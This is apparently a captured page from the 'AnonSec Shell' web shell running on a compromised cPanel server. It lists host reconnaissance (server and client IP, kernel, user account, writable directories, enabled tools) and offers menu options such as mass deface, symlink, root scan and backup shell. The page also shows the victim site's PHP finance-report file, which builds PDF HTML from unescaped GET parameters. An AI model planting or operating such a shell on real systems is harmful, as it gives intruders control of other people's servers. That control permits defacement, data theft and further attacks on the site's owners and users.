AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/ilawasia.onnud20.com/Report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/ilawasia.onnud20.com/Report/FinanceStatusReportPdf.php
<?php
//============================================================+
// File name   : example_061.php
// Begin       : 2010-05-24
// Last Update : 2014-01-25
//
// Description : Example 061 for TCPDF class
//               XHTML + CSS
//
// Author: Nicola Asuni
//
// (c) Copyright:
//               Nicola Asuni
//               Tecnick.com LTD
//               www.tecnick.com
//               [email protected]
//============================================================+

/**
 * Creates an example PDF TEST document using TCPDF
 * @package com.tecnick.tcpdf
 * @abstract TCPDF - Example: XHTML + CSS
 * @author Nicola Asuni
 * @since 2010-05-25
 */
$Set_title='FinanceStatusReort';
$Set_filename='FinanceStatusReort.pdf';
// Include the main TCPDF library (search for installation path).
require_once('tcpdf_include.php');

// create new PDF document
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);

// set document information
$pdf->SetCreator(PDF_CREATOR);
$pdf->SetAuthor($Set_title);
$pdf->SetTitle($Set_title);
$pdf->SetSubject($Set_title);
$pdf->SetKeywords($Set_title);

// set default header data
//$pdf->SetHeaderData(PDF_HEADER_LOGO, PDF_HEADER_LOGO_WIDTH, PDF_HEADER_TITLE.' 061', PDF_HEADER_STRING);

// set header and footer fonts
//$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN, '', PDF_FONT_SIZE_MAIN));
//$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA, '', PDF_FONT_SIZE_DATA));

// remove default header/footer
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);

// set default monospaced font
$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);

// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);

// set auto page breaks
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);

// set image scale factor
$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);

// set some language-dependent strings (optional)
if (@file_exists(dirname(__FILE__).'/lang/eng.php')) {
    require_once(dirname(__FILE__).'/lang/eng.php');
    $pdf->setLanguageArray($l);
}

// ---------------------------------------------------------

// set font
//$pdf->SetFont('helvetica', '', 10);


define('TH_REGULAR', TCPDF_FONTS::addTTFfont('../fonts/THSarabunNew.ttf', 'TrueTypeUnicode'));
define('TH_BOLD', TCPDF_FONTS::addTTFfont('../fonts/TH Sarabun New Bold.ttf', 'TrueTypeUnicode'));
$pdf->SetFont(TH_REGULAR, '', 14);

// add a page
$pdf->AddPage('L', 'A4');

/* NOTE:
 * *********************************************************
 * You can load external XHTML using :
 *
 * $html = file_get_contents('/path/to/your/file.html');
 *
 * External CSS files will be automatically loaded.
 * Sometimes you need to fix the path of the external CSS.
 * *********************************************************
 */

// define some HTML content with style
header('Content-type: text/plain');
//header('Content-type: text/html');
//header('Content-type: application/json');
$request = array(
  'StartDate' => @$_GET['StartDate'],
  'EndDate' => @$_GET['EndDate'],
  'UserId' => @$_GET['UserId'],
  'personName' => @$_GET['personName'],
  'CaseStatus' => @$_GET['CaseStatus'],
  'PaymentStatus' => @$_GET['PaymentStatus'],
  'CaseNumber' => @$_GET['CaseNumber'],
);
$data = $report_db->FinanceStatusReportExcelandPdf($request);
$arrayData = $data;
$totalRow = count($data);

//$image = "../Assets/logo_blue-01.png";
//$image = "public_html/corporatemodule/Assets/logo_blue-01.png";

$template = file_get_contents('Pdf/_FinanceStatusReport.html', r);


$temp1 = explode("style>", $template);
$temp1 = str_replace("</","", $temp1[1]);

$temp2 = explode("<body>", $template);
$temp2 = explode("</body>", $temp2[1]);
$temp2 = $temp2[0];
//$temp2 = str_replace("</","", $temp2[1]);
/*
echo strlen($Load['Data']);
echo count($Load['Data']);
echo $temp2 ;
echo count($data['Data']);
echo "<pre>";
print_r($data);
echo "</pre>";

exit();
*/
if(count($data['Data']) > 1){
  $stDate = "-"; $nDate = "-"; $content = '';$personName='';$status='';$payStatus='';$caseNo='';
  $stDate = $_GET['StartDate'];
  $nDate = $_GET['EndDate'];

  foreach ($data['Data'] as $key => $value) {
    $Amount = ($value['Amount'] != '')?number_format($value['Amount'],2):"-";
    $OutStanding = ($value['OutStanding'] != '')?number_format($value['OutStanding'],2):"-";
    $content .= '<tr>'.
                  '<td>' . $value['CaseNumber'] . '</td>'.
                  '<td>' . $value['Person'] . '</td>'.
                  '<td>' . $value['QuotationNo'] . '</td>'.
                  '<td style="text-align:right;">' . $Amount . '</td>'.
                  '<td style="text-align:right;">' . $OutStanding . '</td>'.
                  '</tr>';
    $personName = ($value['personName']!='')?$value['personName']:"-";
    $status = ($value['status']!='')?$value['status']:"-";
    $payStatus = ($value['payStatus']!='')?$value['payStatus']:"-";
    $caseNo = ($value['caseNo']!='')?$value['caseNo']:"-";
  }
  $template = str_replace("[startDate]",$stDate, $temp2 );
  $template = str_replace("[endDate]",$nDate, $template );
  $template = str_replace("[personName]",$personName, $template );
  $template = str_replace("[status]",$status, $template );
  $template = str_replace("[payStatus]",$payStatus, $template );
  $template = str_replace("[caseNo]",$caseNo, $template );

  $template = str_replace("[content]",$content, $template );
}else {
  $template = '<h1 style="text-align: center;">No data found</h1>';
}

/*
echo $temp1;
echo $template;
exit();
*/
$html = <<<EOF
<!-- EXAMPLE OF CSS STYLE -->
<style>
  $temp1
</style>
  $template
EOF;

//echo $html;
//exit();
// output the HTML content
$pdf->writeHTML($html, true, false, true, false, '');

// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



// reset pointer to the last page
$pdf->lastPage();

// ---------------------------------------------------------

//Close and output PDF document
$pdf->Output($Set_filename, 'I');

//============================================================+
// END OF FILE
//============================================================+

Anon7 - 2022
AnonSec Team